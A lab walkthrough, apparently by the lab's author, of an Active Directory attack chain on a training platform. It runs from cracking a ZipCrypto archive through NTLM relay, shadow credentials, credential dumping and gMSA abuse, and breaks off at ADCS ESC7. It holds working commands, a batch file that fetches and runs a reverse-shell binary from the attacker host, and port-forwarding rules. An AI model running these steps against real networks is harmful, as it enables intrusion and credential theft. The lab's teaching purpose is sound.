Post

Kenolab Zodiac - Hard

Kenolab Chain Zodiac by Ethicxz

Kenolab Zodiac - Hard

This lab is a chain, it was made by me for Kenolab - I hope you’ll like it and don’t hesitate to join the Discord to stay updated on upcoming eventss.

Before Starting

1
2
Me > 10.200.0.6
Target > 10.253.16.5, 10.253.16.6

ℹ️Note

Assumed Breach - You start this mission with a set of credentials :

kenopentest:KenoGoat123!

User

Unlock a zip with bkcrack

1
2
3
4
5
6
nxc smb hosts.txt -u 'kenopentest' -p 'KenoGoat123!'

SMB         10.253.16.5     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:zodiac.keno) (signing:True) (SMBv1:None)
SMB         10.253.16.6     445    WEB01            [*] Windows Server 2022 Build 20348 x64 (name:WEB01) (domain:zodiac.keno) (signing:False) (SMBv1:None)
SMB         10.253.16.5     445    DC01             [+] zodiac.keno\kenopentest:KenoGoat123!
SMB         10.253.16.6     445    WEB01            [+] zodiac.keno\kenopentest:KenoGoat123!

Both machines can be accessed - if we check the SMB shares, we can see this : :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
nxc smb hosts.txt -u 'kenopentest' -p 'KenoGoat123!' --shares

SMB         10.253.16.6     445    WEB01            [*] Windows Server 2022 Build 20348 x64 (name:WEB01) (domain:zodiac.keno) (signing:False) (SMBv1:None)
SMB         10.253.16.5     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:zodiac.keno) (signing:True) (SMBv1:None)
SMB         10.253.16.6     445    WEB01            [+] zodiac.keno\kenopentest:KenoGoat123!
SMB         10.253.16.5     445    DC01             [+] zodiac.keno\kenopentest:KenoGoat123!
SMB         10.253.16.6     445    WEB01            [*] Enumerated shares
SMB         10.253.16.6     445    WEB01            Share           Permissions     Remark
SMB         10.253.16.6     445    WEB01            -----           -----------     ------
SMB         10.253.16.6     445    WEB01            ADMIN$                          Remote Admin
SMB         10.253.16.6     445    WEB01            C$                              Default share
SMB         10.253.16.6     445    WEB01            IPC$            READ            Remote IPC
SMB         10.253.16.5     445    DC01             [*] Enumerated shares
SMB         10.253.16.5     445    DC01             Share           Permissions     Remark
SMB         10.253.16.5     445    DC01             -----           -----------     ------
SMB         10.253.16.5     445    DC01             ADMIN$                          Remote Admin
SMB         10.253.16.5     445    DC01             C$                              Default share
SMB         10.253.16.5     445    DC01             Finance         READ
SMB         10.253.16.5     445    DC01             IPC$            READ            Remote IPC
SMB         10.253.16.5     445    DC01             NETLOGON        READ            Logon server share
SMB         10.253.16.5     445    DC01             SYSVOL          READ            Logon server share
1
2
3
4
5
6
7
8
9
10
smbclient.py "zodiac.keno"/"kenopentest":'KenoGoat123!'@"10.253.16.5"

Type help for list of commands
# use finance
# cd archive
# ls
drw-rw-rw-          0  Mon Nov  9 20:29:34 2026 .
drw-rw-rw-          0  Mon Nov  9 20:29:34 2026 ..
-rw-rw-rw-     456624  Mon Nov  9 20:29:34 2026 Finance Archive 2026.zip
# get Finance Archive 2026.zip

But unfortunately, the .zip is protected with a password and we can’t crack it

By checking encryption details, we can see this :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
7z l -slt Finance\ Archive\ 2026.zip

....
Path = Zodiac Finance Brandmark.png
Folder = -
Size = 442975
Packed Size = 442987
Modified = 2026-10-01 23:07:08
Created =
Accessed =
Attributes = _ -rw-r--r--
Encrypted = +
Comment =
CRC = 112A8AAC
Method = ZipCrypto Store
Host OS = Unix
Version = 10
Volume Index = 0
.....

So it’s encrypted with ZipCrypto Store, which is vulnerable to a KPA (known plaintext attack)

And this .png is in the smb share

1
2
3
4
5
# cd branding
# ls 
drw-rw-rw-          0  Mon Nov  9 20:29:34 2026 .
drw-rw-rw-          0  Mon Nov  9 20:29:34 2026 ..
-rw-rw-rw-     442975  Mon Nov  9 20:29:34 2026 Zodiac Finance Brandmark.png

Thanks to this tool, the internal state of the keystream generator can be recovered, then we we’ll be able to unlock the zip

1
2
3
4
5
6
7
8
9
10
./bkcrack/build/src/cli/bkcrack -C "Finance Archive 2026.zip" -c "Zodiac Finance Brandmark.png" -p "Zodiac Finance Brandmark.png"

[14:43:33] Z reduction using 442968 bytes of known plaintext
4.4 % (19291 / 442968)
[14:43:35] Attack on 45 Z values at index 423862
Keys: 3c59436e 48eb42e0 1eaa7c70
100.0 % (45 / 45)
Found a solution. Stopping.
[14:43:36] Keys
3c59436e 48eb42e0 1eaa7c70
1
2
3
4
./bkcrack/build/src/cli/bkcrack -C "Finance Archive 2026.zip" -k 3c59436e 48eb42e0 1eaa7c70  -D "Finance Archive Unlocked.zip"

[14:44:02] Writing decrypted archive Finance Archive Unlocked.zip
100.0 % (4 / 4)
1
2
3
4
5
6
7
unzip Finance\ Archive\ Unlocked.zip
Archive:  Finance Archive Unlocked.zip
replace Reconciliation Notes.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: A
 extracting: Reconciliation Notes.txt
 extracting: Treasury Access.csv
 extracting: Zodiac Finance Brandmark.png
 extracting: Payment Procedure.docx

And by looking to Treasury Access.csv, we can find some creds :

1
2
3
4
5
6
7
8
9
10
11
12
13
# cat Treasury\ Access.csv

System,Environment,Access Role,Named User,Sign In,Owner,Last Review,Status,Notes
Treasury Workspace,Production,Treasury Analyst,Julien Meyer,julien.meyer@zodiac.keno,Treasury Manager,2026-09-18,Active,Temporary password issued during access migration: REDACTED
Treasury Workspace,Production,Treasury Reviewer,Marie Henry,marie.henry@zodiac.keno,Treasury Manager,2026-09-18,Active,MFA enrollment confirmed
Banking Portal,Production,Payment Preparer,Julien Meyer,Individual banking profile,Treasurer,2026-09-21,Active,No shared credentials permitted
Banking Portal,Production,Payment Approver,Finance Controller,Individual banking profile,CFO,2026-09-21,Active,Dual authorization required
Fuel Hedge Register,Production,Editor,Julien Meyer,Domain authentication,Treasurer,2026-09-16,Active,Quarterly recertification
Fuel Hedge Register,Production,Reviewer,Marie Henry,Domain authentication,Treasurer,2026-09-16,Active,Read and approval rights
Cash Forecast,Production,Editor,Julien Meyer,Domain authentication,Finance Controller,2026-09-23,Active,Thirteen week forecast owner
Cash Forecast,Production,Reader,Commercial Finance,Domain group,Finance Controller,2026-09-23,Active,Read only
Payment Archive,Production,Contributor,Accounts Payable,Domain group,Finance Controller,2026-09-25,Active,Seven year retention
Payment Archive,Production,Reviewer,Treasury,Domain group,Finance Controller,2026-09-25,Active,Read and approval evidence

CSPT -> SSRF -> Relay NTLM

Theses cres are valid in the domain :

1
2
3
4
5
6
nxc smb hosts.txt -u 'julien.meyer' -p 'REDACTEDD'

SMB         10.253.16.5     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:zodiac.keno) (signing:True) (SMBv1:None)
SMB         10.253.16.6     445    WEB01            [*] Windows Server 2022 Build 20348 x64 (name:WEB01) (domain:zodiac.keno) (signing:False) (SMBv1:None)
SMB         10.253.16.5     445    DC01             [+] zodiac.keno\julien.meyer:REDACTED
SMB         10.253.16.6     445    WEB01            [+] zodiac.keno\julien.meyer:REDACTED

But this user have 0 rights on the domain, let’s check if some website are up on WEB01

1
2
3
4
nmap -Pn -sT -p80 -vvv 10.253.16.6

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack

alt text

This site doesn’t interest us, we can try to find a subdomain :

1
2
3
4
5
6
7
8
9
10
wfuzz -c -w `fzf-wordlists` -H 'Host: FUZZ.zodiac.keno' -u "http://zodiac.keno/" --hw 597

Target: http://zodiac.keno/
Total requests: 5000

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000163:   401        29 L     100 W      1293 Ch     "data"
1
2
3
4
5
6
7
8
9
10
11
12
curl http://data.zodiac.keno

......
-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>401 - Unauthorized: Access is denied due to invalid credentials.</title>
.......
<div id="header"><h1>Server Error</h1></div>
<div id="content">
 <div class="content-container"><fieldset>
  <h2>401 - Unauthorized: Access is denied due to invalid credentials.</h2>
  <h3>You do not have permission to view this directory or page using the credentials that you supplied.</h3>
......

If we try to login with julien.meyer creds

1
2
3
4
5
6
7
8
9
10
11
12
13
curl --ntlm -u "julien.meyer:REDACTED" http://data.zodiac.keno

<!DOCTYPE html>
<html lang="en">
<head><meta charset="utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><title>
	Zodiac Data
</title><meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport" /><link rel="icon" type="image/png" href="/assets/images/zodiaclogo.png" /><link rel="stylesheet" href="/assets/css/bootstrap.min.css" /><link rel="stylesheet" href="/assets/css/fontawesome.min.css" /><link rel="stylesheet" href="/assets/css/ionicons.min.css" /><link rel="stylesheet" href="/assets/css/adminlte.min.css" /><link rel="stylesheet" href="/assets/css/zodiac.css" /></head>
<body class="hold-transition skin-zodiac sidebar-mini">
<div class="wrapper">
  <header class="main-header">
    <a href="/" class="logo"><span class="logo-mini">ZD</span><span class="logo-lg"><img src="/assets/images/zodiaclogo.png" alt="Zodiac"> <b>Data</b></span></a>
    <nav class="navbar navbar-static-top">
........

It works ! Ok let’s go on the website

There is a lot of features but, two features will be of particular interest to us

One that allows an SSRF and another that makes it possible to retrieve internal documents

alt text

This request allow us to perform an SSRF

alt text

And this one, if no parameters are provided, it returns a .json file - which can also be accessed by name but no path traversal is possible

The issue is that the SSRF comes without credentials, it’s just a simple GET request with nothing else, it’s not really usefull

1
2
3
ntlmrelayx.py -t ldaps://10.253.16.5 --http-port 8000 --no-dump

curl --path-as-is --ntlm -u 'julien.meyer:REDACTED' 'http://data.zodiac.keno/api/preview.ashx?source=http://10.200.0.6:8000/a'

alt text

But, there’s a feature that fetches a .json file internally - this means that the request almost certainly includes credentials

We therefore need to find a way to perform SSRF starting from the internal query

We could therefore try a CSPT (Client Side Path Traversal), we start with an internal request then step back one level in the API and invoke the request that triggers the SSRF

The application believing it is making a legitimate internal request, attaches the credentials of the account managing the web service and then executes the request which is directed back to us

The payload will be something like that

1
2
3
ntlmrelayx.py -t ldaps://10.253.16.5 --http-port 8000 --no-dump

curl --path-as-is --ntlm -u 'julien.meyer:REDACTED' 'http://data.zodiac.keno/api/reset.ashx?asset=../preview.ashx?source=http://10.200.0.6:8000/a'

alt text

alt text

Ok nice !

But what we can do with this account ?

WebDav to LDAP

This account is the only one that can add DNS records and after some enumerations we can find this :

1
2
3
4
5
6
7
nxc smb hosts.txt -u 'julien.meyer' -p 'REDACTED' -M webdav

SMB         10.253.16.6     445    WEB01            [*] Windows Server 2022 Build 20348 x64 (name:WEB01) (domain:zodiac.keno) (signing:False) (SMBv1:None)
SMB         10.253.16.5     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:zodiac.keno) (signing:True) (SMBv1:None)
SMB         10.253.16.6     445    WEB01            [+] zodiac.keno\julien.meyer:REDACTED
WEBDAV      10.253.16.6     445    WEB01            WebClient Service enabled on: 10.253.16.6
SMB         10.253.16.5     445    DC01             [+] zodiac.keno\julien.meyer:REDACTED

The webclient service is running on WEB01 and we can add DNS records - We could simply try to set up a WebDAV to LDAP relay to compromise WEB01 !

Ok let’s try :

1
2
3
ntlmrelayx.py -t ldaps://10.253.16.5 --http-port 8000 --no-dump --add-dns-record 'WIN-LAOZDCXA2SI' '10.200.0.6'

Responder.py -I KENOLAB11281321
1
curl --path-as-is --ntlm -u 'julien.meyer:REDACTED' 'http://data.zodiac.keno/api/reset.ashx?asset=../preview.ashx?source=http://10.200.0.6:8000/a'

alt text

And now we can coerce

1
2
3
ntlmrelayx.py -t ldaps://10.253.16.5 --http-port 8000 --shadow-credentials --shadow-target 'WEB01$' --no-dump

petitpotam.py -d zodiac.keno -u kenopentest -p 'KenoGoat123!' 'WIN-LAOZDCXA2SI@8000/randomfile.txt' 10.253.16.6 -pipe all

alt text

But we are getting this error

We cannot use RBCD either as no one is able to add a machine and SPN less RBCD would not work here due to the encryptionType of the user accounts

Let’s check why we have this error

1
2
3
4
5
6
7
8
9
10
11
12
13
bloodyAD -H 10.253.16.5 --host 10.253.16.5 -d zodiac.keno -u kenopentest -p 'KenoGoat123!' get object 'WEB01$'

.......
msDS-KeyCredentialLink.KeyID: 16b717d5ced0b2950010dbe253900a5b7baa2446ac833e845d92c800aa4bff97
msDS-KeyCredentialLink.KeyHash: e927455b27f57d751eb81fb3d8f7fb707b2b42ef67ebf666b1df0f58c117ab18
msDS-KeyCredentialLink.KeyMaterial: 52534.....22831
msDS-KeyCredentialLink.KeyUsage: 01
msDS-KeyCredentialLink.KeySource: 00
msDS-KeyCredentialLink.DeviceId: 2a10c5f43ad6fb9644552a8379e9b8c0
msDS-KeyCredentialLink.CustomKeyInformation: 0100
msDS-KeyCredentialLink.KeyApproximateLastLogonTimeStamp: e73dda5951fedc01
msDS-KeyCredentialLink.KeyCreationTime: e73dda5951fedc01
msDS-SupportedEncryptionTypes: 28

In short, ntlmrelayx is lying to us by saying we don’t have the rights - it’s simply that a public key is already set up on WEB01 - We therefore need to remove this key and then add our own.

Ok let’s do it !

1
2
3
python3 ntlmrelayx.py -t ldaps://10.253.16.5 --http-port 8000 -i --no-dump

petitpotam.py -d zodiac.keno -u kenopentest -p 'KenoGoat123!' 'WIN-LAOZDCXA2SI@8000/randomfile.txt' 10.253.16.6 -pipe all
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# clear_shadow_creds WEB01$
Found Target DN: CN=WEB01,CN=Computers,DC=zodiac,DC=keno
Target SID: S-1-5-21-175356196-1599867514-1195351626-1105

Found 1 existing KeyCredential(s)
Shadow credentials cleared successfully!

# set_shadow_creds WEB01$
Found Target DN: CN=WEB01,CN=Computers,DC=zodiac,DC=keno
Target SID: S-1-5-21-175356196-1599867514-1195351626-1105

Found 0 existing KeyCredential(s)
KeyCredential generated with DeviceID: a5cf3e7f-099f-46a3-b9f3-8e82f3e7f696
Shadow credentials successfully added!
Saved PFX (#PKCS12) certificate & key at path: Ivhf0oMN.pfx
Must be used with password: Ymu9RnSiry45XtEvOCjo

alt text

alt text

1
2
3
4
nxc smb 10.253.16.6 -u 'web01$' -H 'c15...c4'

SMB         10.253.16.6     445    WEB01            [*] Windows Server 2022 Build 20348 x64 (name:WEB01) (domain:zodiac.keno) (signing:False) (SMBv1:None)
SMB         10.253.16.6     445    WEB01            [+] zodiac.keno\web01$:c15...c4

Ok nice

Dump WEB01$

Now that we are WEB01$, a machine account can always ask for a ticket to itself on behalf of any user even with no delegation configured

Let’s get a ticket for administrator to WEB01 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
export KRB5CCNAME=web01.ccache

getST.py -spn 'cifs/WEB01.zodiac.keno' -impersonate 'administrator' -self -k -no-pass 'zodiac.keno/WEB01$' -dc-ip 10.253.16.5

[*] Impersonating administrator
[*] When doing S4U2self only, argument -spn is ignored
[*] Requesting S4U2self
[*] Saving ticket in administrator@WEB01$@ZODIAC.KENO.ccache

export KRB5CCNAME=administrator@WEB01\$@ZODIAC.KENO.ccache

nxc smb 10.253.16.6 --use-kcache --kdcHost 10.253.16.5

SMB         10.253.16.6     445    WEB01            [*] Windows Server 2022 Build 20348 x64 (name:WEB01) (domain:zodiac.keno) (signing:False) (SMBv1:None)
SMB         10.253.16.6     445    WEB01            [+] zodiac.keno\administrator from ccache (admin)

Ok nice, let’s dump everything

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
nxc smb 10.253.16.6 --use-kcache --kdcHost 10.253.16.5 --sam --lsa --dpapi

SMB         10.253.16.6     445    WEB01            [*] Windows Server 2022 Build 20348 x64 (name:WEB01) (domain:zodiac.keno) (signing:False) (SMBv1:None)
SMB         10.253.16.6     445    WEB01            [+] zodiac.keno\administrator from ccache (admin)
SMB         10.253.16.6     445    WEB01            [*] Dumping SAM hashes
SMB         10.253.16.6     445    WEB01            Administrator:500:aad3b435b51404eeaad3b435b51404ee:eac...00:::
SMB         10.253.16.6     445    WEB01            Guest:501:aad3b435b51404eeaad3b435b51404ee:31d...c0:::
SMB         10.253.16.6     445    WEB01            DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31...c0:::
SMB         10.253.16.6     445    WEB01            WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:62...553:::
SMB         10.253.16.6     445    WEB01            [+] Added 4 SAM hashes to the database
SMB         10.253.16.6     445    WEB01            [*] Dumping LSA secrets
SMB         10.253.16.6     445    WEB01            ZODIAC.KENO/hugo.perrin:$DCC2$10240#hugo.perrin#5d6a010c5f935de2479be79b4155d291: (2026-09-29 19:29:18)
SMB         10.253.16.6     445    WEB01            ZODIAC.KENO/svc_winrm:$DCC2$10240#svc_winrm#df45bc69fa1ed32e16d6fc0e9b620359: (2026-09-29 19:53:35)
SMB         10.253.16.6     445    WEB01            zodiac\WEB01$:aes256-cts-hmac-sha1-96:f8e2...ede
SMB         10.253.16.6     445    WEB01            zodiac\WEB01$:aes128-cts-hmac-sha1-96:2f..8cc
SMB         10.253.16.6     445    WEB01            zodiac\WEB01$:des-cbc-md5:c4582a15f879dc13
SMB         10.253.16.6     445    WEB01            zodiac\WEB01$:plain_password_hex:b5d4...6f5ab
SMB         10.253.16.6     445    WEB01            zodiac\WEB01$:aad3b435b51404eeaad3b435b51404ee:c15...c4:::
SMB         10.253.16.6     445    WEB01            ZODIAC.KENO\svc_winrm:REDACTED
SMB         10.253.16.6     445    WEB01            dpapi_machinekey:0x22...90615
dpapi_userkey:0x28096d9c472bc45ec7073191e556f32f84de947b
SMB         10.253.16.6     445    WEB01            [+] Dumped 9 LSA secrets to /root/.nxc/logs/lsa/WEB01_10.253.16.6_2026-11-28_210102.secrets and /root/.nxc/logs/lsa/WEB01_10.253.16.6_2026-11-28_210102.cached
SMB         10.253.16.6     445    WEB01            [*] Collecting DPAPI masterkeys, grab a coffee and be patient...
SMB         10.253.16.6     445    WEB01            [+] Got 8 decrypted masterkeys. Looting secrets...
SMB         10.253.16.6     445    WEB01            [SYSTEM][CREDENTIAL] Domain:batch=TaskScheduler:Task:{8D1D607D-BE42-4674-A2A3-8BB58CFF0FFB} - zodiac\hugo.perrin:REDACTED
SMB         10.253.16.6     445    WEB01            [SYSTEM][CREDENTIAL] Domain:batch=TaskScheduler:Task:{CBCDB389-E93A-44E2-AAB6-D9E1A15EABF8} - zodiac\svc_winrm:REDACTED

Root

1
2
3
4
5
6
7
8
9
nxc smb 10.253.16.5 -u 'hugo.perrin' -p 'REDACTED'

SMB         10.253.16.5     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:zodiac.keno) (signing:True) (SMBv1:None)
SMB         10.253.16.5     445    DC01             [+] zodiac.keno\hugo.perrin:REDACTED

nxc smb 10.253.16.5 -u 'svc_winrm' -p 'REDACTED'

SMB         10.253.16.5     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:zodiac.keno) (signing:True) (SMBv1:None)
SMB         10.253.16.5     445    DC01             [-] zodiac.keno\svc_winrm:REDACTED STATUS_ACCOUNT_DISABLED

Ok so both users are valid but svc_winrm is disabled and spoiler alter : we can’t enable it

ScriptPath abuse w/ firewalling

But there is something interesting, hugo.perrin is in Workplace Support group

1
2
3
4
5
nxc ldap 10.253.16.5 -u 'hugo.perrin' -p 'REDACTED' --groups 'workplace support'

LDAP        10.253.16.5     389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:zodiac.keno) (signing:None) (channel binding:Never)
LDAP        10.253.16.5     389    DC01             [+] zodiac.keno\hugo.perrin:REDACTED
LDAP        10.253.16.5     389    DC01             hugo.perrin

And after some enumeration, it becomes clear that this group, specifically hugo.perrin, has the right to write to the scriptpath attribute of the users.

We also discover that the account kevin.delly is logged into the machine and connects frequently

1
2
3
bloodyAD --host 10.253.16.5 -d zodiac.keno -u hugo.perrin -p 'REDACTED' -s get object kevin.delly

lastLogon: 2026-11-28

alt text

One can therefore attempt to replace the scriptpath by trying to write to a sysvol share

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
smbclient.py "zodiac.keno"/"hugo.perrin":'REDACTED'@"10.253.16.5"

Type help for list of commands
# use sysvol
ls# ls
drw-rw-rw-          0  Tue Jun 16 20:05:37 2026 .
drw-rw-rw-          0  Tue Jun 16 20:05:37 2026 ..
drw-rw-rw-          0  Tue Jun 16 20:05:37 2026 zodiac.keno
# cd zodiac.keno/scripts
# ls
drw-rw-rw-          0  Tue Sep 29 22:29:22 2026 .
drw-rw-rw-          0  Tue Jun 16 20:06:58 2026 ..
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 A32FF3AEAA23
# cd A32FF3AEAA23
# ls
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 .
drw-rw-rw-          0  Tue Sep 29 22:29:22 2026 ..
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 0885C056464F
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 2BCADBB3F669
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 36FCC1599FFA
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 3F54C55F818E
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 432D5F649E83
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 5088C0D52774
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 55B062A8E279
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 583845DFA326
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 5CA1CFDB1D10
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 6E6ADFC3E25D
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 A4804AC70454
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 B70847037265
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 BB0C883B3983
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 CEDE59957B9A
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 D05FAEE121DC
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 D40A1F99C36B
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 D5FD36608C1A
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 DCC4B0CCAD73
# tree
/zodiac.keno/scripts/A32FF3AEAA23/6E6ADFC3E25D/4B9A1C7D2E60
Finished - 19 files and folders
# ls /zodiac.keno/scripts/A32FF3AEAA23/6E6ADFC3E25D/4B9A1C7D2E60
drw-rw-rw-          0  Mon Nov  2 15:59:11 2026 4B9A1C7D2E60

Here we can see that all the folders were last modified on October 4th, while only one subfolder was modified in November - this could also provide us with a hint

To save time, i won’t go into detail about every test performed - however, after some tests, it became clear that the DC cannot reach us directly.

We must therefore go through WEB01 by proxying all incoming traffic from WEB01 to our machine - This will allow us to obtain a reverse shell as the user kevin.delly once that user connects to the DC

We can do it with netsh since we are admin on WEB01

1
2
3
4
5
6
7
evil-winrm-py --ip "10.253.16.6" --user "administrator" --hash 'ea...00' --ssl

[*] Connecting to '10.253.16.6:5986' as 'administrator'
evil-winrm-py PS C:\Users\Administrator.WEB01\Documents> netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.200.0.6 connectport=4444
netsh advfirewall firewall add rule name="To me 4444" dir=in action=allow protocol=TCP localport=4444

Ok.

Now upload the .bat and update the scriptPath

1
2
3
4
5
# cd /zodiac.keno/scripts/A32FF3AEAA23/6E6ADFC3E25D/4B9A1C7D2E60
# ls
drw-rw-rw-          0  Mon Nov  2 15:59:11 2026 .
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 ..
# put curl.bat
1
2
3
bloodyAD --host 10.253.16.5 -d zodiac.keno -u hugo.perrin -p 'REDACTED' -s set object kevin.delly scriptPath -v 'A32FF3AEAA23\6E6ADFC3E25D\4B9A1C7D2E60\curl.bat'

[+] kevin.delly's scriptPath has been updated
1
2
3
4
5
6
7
8
9
10
cat curl.bat

@echo off
curl http://10.253.16.6:4444/rcat.exe -o c:\windows\tasks\rcat_10.253.16.6:4444.exe

# wait 1 min 

python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
10.253.16.6 - - [03/Dec/2026 05:17:15] "GET /rcat.exe HTTP/1.1" 200 -

Then we can modify the curl.bat to execute the .exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# use sysvol
# cd /zodiac.keno/scripts/A32FF3AEAA23/6E6ADFC3E25D/4B9A1C7D2E60
# ls
drw-rw-rw-          0  Thu Dec  3 05:18:13 2026 .
drw-rw-rw-          0  Sun Oct  4 18:52:22 2026 ..
-rw-rw-rw-         94  Thu Dec  3 05:18:13 2026 curl.bat
# rm curl.bat
# put curl.bat
# cat curl.bat
@echo off
c:\windows\tasks\rcat_10.253.16.6_4444.exe

# wait 1 min

nc -lvnp 4444

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.253.16.6.
Ncat: Connection from 10.253.16.6:51039.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> whoami
whoami
zodiac\kevin.delly

alt text

alt text

DPAPI w/o password

Then after some enumerations we can find this :

1
2
3
4
5
6
7
8
PS C:\Windows\system32> cmdkey /list

Currently stored credentials:

    Target: Domain:target=web01.zodiac.keno
    Type: Domain Password
    User: zodiac\sa_kevin
    Local machine persistence

Ok nice, grab everything and decrypt offline

alt text

1
2
3
4
nxc ldap 10.253.16.5 -u 'sa_kevin' -p 'REDACTED'

LDAP        10.253.16.5     389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:zodiac.keno) (signing:None) (channel binding:Never)
LDAP        10.253.16.5     389    DC01             [+] zodiac.keno\sa_kevin:REDACTED

Edit msDS-GroupMSAMembership

The characteristic of this account is that it cannot directly read gMSA accounts - it has write access to the objects that can read them.

We can therefore add itself to that list and subsequently read the passwords of the gMSA accounts

1
2
3
4
5
6
7
8
9
bloodyAD --host 10.253.16.5 -d zodiac.keno -u 'sa_kevin' -p 'REDACTED' set object 'zodiacGMSA$' msDS-GroupMSAMembership --raw --b64 -v 'AQAEgBQAAAAAAAAAAAAAACQAAAABAgAAAAAABSAAAAAgAgAAAgBQAAIAAAAAACQAAAAAEAEFAAAAAAAFFQAAACS5cwp6ClxfSp4/RwQCAAAAACQAEAAAAAEFAAAAAAAFFQAAACS5cwp6ClxfSp4/R30EAAA='
[+] zodiacGMSA$'s msDS-GroupMSAMembership has been updated

nxc ldap 10.253.16.5 -u 'sa_kevin' -p 'REDACTED' --gmsa

LDAP        10.253.16.5     389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:zodiac.keno) (signing:None) (channel binding:Never)
LDAP        10.253.16.5     389    DC01             [+] zodiac.keno\sa_kevin:REDACTED
LDAP        10.253.16.5     389    DC01             [*] Getting GMSA Passwords
LDAP        10.253.16.5     389    DC01             Account: zodiacGMSA$          NTLM: 0f8...e5     PrincipalsAllowedToReadPassword: ['Domain Controllers', 'sa_kevin']

But it won’t works

1
2
3
4
5
6
7
8
9
nxc ldap 10.253.16.5 -u 'zodiacGMSA$' -H '0f8...e5'

LDAP        10.253.16.5     389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:zodiac.keno) (signing:None) (channel binding:Never)
LDAP        10.253.16.5     389    DC01             [-] zodiac.keno\zodiacGMSA$:0f8...e5

nxc smb 10.253.16.5 -u 'zodiacGMSA$' -H '0f8...e5'

SMB         10.253.16.5     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:zodiac.keno) (signing:True) (SMBv1:None)
SMB         10.253.16.5     445    DC01             [-] zodiac.keno\zodiacGMSA$:0f8...e5 STATUS_ACCOUNT_RESTRICTION

The SMB error is helping us to understand what’s going on

RC4/NTLM is disabled for this account, we’ll use ldeep to grab aes keys to ask a TGT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ldeep ldap -d "zodiac.keno" -s "10.253.16.5" -u "sa_kevin" -p 'REDACTED' gmsa -t zodiacGMSA$

zodiacGMSA$:nthash:0f8...e5
zodiacGMSA$:aes128-cts-hmac-sha1-96:772...54cdc
zodiacGMSA$:aes256-cts-hmac-sha1-96:549...41
zodiacGMSA$:reader:Domain Controllers (group)
zodiacGMSA$:reader:sa_kevin

getTGT.py -dc-ip "10.253.16.5" "zodiac.keno"/"zodiacGMSA$" -aesKey '549...41'

[*] Saving ticket in zodiacGMSA$.ccache

nxc smb DC01.zodiac.keno -u 'zodiacGMSA$' --use-kcache --kdcHost 10.253.16.5

SMB         DC01.zodiac.keno 445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:zodiac.keno) (signing:True) (SMBv1:None)
SMB         DC01.zodiac.keno 445    DC01             [+] ZODIAC.KENO\zodiacGMSA$ from ccache

Ok nice !

Simple ESC7 ? NO.

For the last step, we’ll go on some ADCS things.

1
certipy find -u 'zodiacGMSA$@zodiac.keno' -aes '549...41' -target dc01.zodiac.keno -target-ip 10.253.16.5 -dc-ip 10.253.16.5 -stdout -vulnerable
1
2
3
4
5
6
    CA Name                             : Zodiac-DC01-CA
    User Specified SAN                  : Disabled
    ...
        ManageCa                        : ... ZODIAC.KENO\zodiacGMSA
    [!] Vulnerabilities
      ESC7                              : User has dangerous permissions.

At first, it appears to be a simple ESC7, but it won’t work.

Let’s do some reminders :

  • ManageCertificates (officer) -> approve/issue pending requests.
  • ManageCA -> modify the CA configuration: EditFlags, DisableExtensionList, enabling/disabling templates…

